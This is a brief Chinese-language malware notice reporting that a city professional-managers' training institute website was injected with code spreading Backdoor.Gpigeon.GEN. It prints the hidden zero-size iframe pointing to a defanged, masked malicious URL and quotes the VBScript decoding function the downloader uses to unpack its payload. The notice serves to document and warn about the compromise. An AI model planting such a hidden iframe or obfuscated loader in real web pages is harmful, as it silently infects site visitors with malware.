某市职业经理人高级研修学院网站被植入传播Backdoor.Gpigeon.GEN的代码

/---
＜iframe src=hxxp://web**.5***9*cn.cn/n*a***p*ole*on/windows**/index.htm width=0 height=0＞＜/iframe＞
---/
hxxp://web**.5***9*cn.cn/n*a***p*ole*on/windows**/index.htm（Kaspersky报为：Trojan-Downloader.VBS.Psyme.de）的内容为vbscript脚本，功能是利用自定义函数
/---
function UnEncode（temp）
but＝67
for i ＝ 1 to len（temp）
    if mid（temp，i，1）＜＞ "琳" then
If Asc（Mid（temp， i， 1）） ＜ 32 Or Asc（Mid（temp， i， 1）） ＞ 126 Then
a ＝ a ＆ Chr（Asc（Mid（temp， i， 1）））
else
pk＝asc（mid（temp，i，1））-but
            if pk＞126 then
                    pk＝pk-95
            elseif pk＜32 then
                     pk＝pk＋95
             end if
             a＝a＆chr（pk）
end if
   else
             a＝a＆vbcrlf
   end if
next
UnEncode＝a
end function
---/